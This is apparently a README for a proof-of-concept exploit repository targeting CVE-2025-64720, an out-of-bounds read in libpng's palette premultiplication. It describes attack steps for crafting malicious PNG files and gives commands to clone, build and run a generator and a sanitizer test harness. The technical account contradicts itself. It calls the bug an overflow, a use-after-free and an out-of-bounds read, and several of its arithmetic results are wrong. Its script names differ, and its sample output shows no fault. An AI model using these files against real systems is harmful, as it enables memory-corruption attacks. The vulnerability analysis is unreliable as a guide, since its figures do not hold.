
Prova de conceito de exploit para CVE-2025-64720, um estouro de buffer no libpng na pré-multiplicação de paleta. Inclui gerador de exploit, ambiente de teste com ASan/UBSan e análise técnica detalhada da vulnerabilidade de heap-use-after-free.
Estado: Corrigido
Gravidade: Alta
CVE ID: CVE-2025-64720
Data de Descoberta: 2025-11-XX
Divulgação Pública: 2025-11-21
Existe uma vulnerabilidade de leitura fora dos limites na função png_image_read_composite do libpng ao processar imagens de paleta com PNG_FLAG_OPTIMIZE_ALPHA ativado. O código de composição de paleta em png_init_read_transformations aplica incorretamente a composição de fundo durante a pré-multiplicação, violando o invariante component ≤ alpha × 257 exigido pela API PNG simplificada, levando à corrupção de memória.
Em png_init_read_transformations na linha ~1336, o código de expansão da paleta executa:
component += (255-alpha)*png_sRGB_table[outrow[c]];
Este cálculo produz valores de component de até 16.776.960 (0x1000800), onde (component >> 15) == 512. A macro subsequente PNG_sRGB_FROM_LINEAR em png_image_read_composite realiza um acesso ao array fora dos limites:
png_sRGB_base[component>>15] // Accesses png_sRGB_base[512]
png_sRGB_delta[component>>15] // Accesses png_sRGB_delta[512]
// Both arrays have indices 0-511 only (size 512)
O problema ocorre quando:
PNG_FLAG_OPTIMIZE_ALPHA está ativado internamentepngread.c, pngtrans.cpng_image_read_composite, png_init_read_transformationsExpected: component ≤ alpha × 257
Ensures (component >> 15) ≤ 511 (within array bounds)
Actual: component = previous_value + (255-alpha) × png_sRGB_table[RGB_value]
With alpha=0, RGB=255: component can exceed expected bounds
Result: (component >> 15) can equal 512 (out of bounds access)
# Method 1: pkg-config
pkg-config --modversion libpng
# Method 2: Direct library query
libpng-config --version
# Method 3: Check binary
strings /usr/lib/libpng*.so* | grep -i "libpng version"
# Method 4: From source
grep PNG_LIBPNG_VER_STRING png.h
Um atacante pode explorar esta vulnerabilidade criando um arquivo PNG malicioso com características específicas:
Pré-requisitos do Ataque:
png_image_*)Etapas do Ataque:
PNG_FLAG_OPTIMIZE_ALPHA é ativado internamenteResultado do Ataque:
png_sRGB_base ou png_sRGB_delta┌─────────────────┐
│ png_sRGB_base │ Array indices: 0-511 (512 entries)
│ [512 entries] │ Valid access: (component >> 15) ≤ 511
├─────────────────┤
│ [OOB Access] │ Index 512 ← Vulnerable access when component ≥ 0x1000000
├─────────────────┤
│ png_sRGB_delta │ Array indices: 0-511 (512 entries)
│ [512 entries] │ Also vulnerable to same OOB access
├─────────────────┤
│ Adjacent Memory │ Potential information disclosure
└─────────────────┘
Calculation that causes overflow:
component = alpha × component + (255-alpha) × png_sRGB_table[palette_RGB]
When alpha=0 and palette_RGB=255:
component = 0 + 255 × 65535 = 16,711,425
(component >> 15) = 512 (OUT OF BOUNDS!)
Condições Necessárias:
png_image_finish_read)Fatores Opcionais:
PNG_FORMAT_FLAG_AFIRST aumenta a probabilidade de falhaCondições que Não Acionam:
# Clone repository
git clone https://github.com/truediogo/CVE-2025-64720
cd CVE-2025-64720
# Generate images
python3 generate-images.py
# Build test
chmod +x build.sh
./build.sh
# Run exploit (requires vulnerable libpng < 1.6.51)
./test_asan exploit_v1.png exploit_v2.png exploit_v3.png exploit_v4.png
generate-images.py)Gera arquivos PNG maliciosos que acionam a vulnerabilidade.
Uso:
python3 generate_poc.py
Saída:
exploit_v1.png - imagem 8x8, paleta branca uniforme, alfa zeroexploit_v2.png - imagem 8x8, variação estratégica de paletaexploit_v3.png - imagem 64x64, grande com padrões repetidosexploit_v4.png - imagem 4x4, caso mínimo com alfa totalmente zeroOpções:
# Generate specific variant
generate_malicious_png('custom.png', variant=2)
# Variants:
# 1: Maximum RGB values with zero alpha (reliable)
# 2: Strategic palette designed for maximum overflow
# 3: Larger image with repeated triggering patterns
# 4: Minimal case targeting global-buffer-overflow
test.c)Processa arquivos PNG usando a API simplificada e demonstra a vulnerabilidade.
Compilação:
# With AddressSanitizer (recommended - best detection)
gcc -o test_asan test.c -lpng -fsanitize=address -g -O0 -fno-omit-frame-pointer
# With UndefinedBehaviorSanitizer
gcc -o test_ubsan test.c -lpng -fsanitize=undefined -g -O0
# With debugging symbols
gcc -o test_debug test.c -lpng -g -O0
# For Valgrind
gcc -o test_valgrind test.c -lpng -g -O0 -fno-inline
Recursos:
Na Versão Vulnerável (libpng 1.6.36):
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636
[!] libpng < 1.6.51 detected (vulnerable version)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00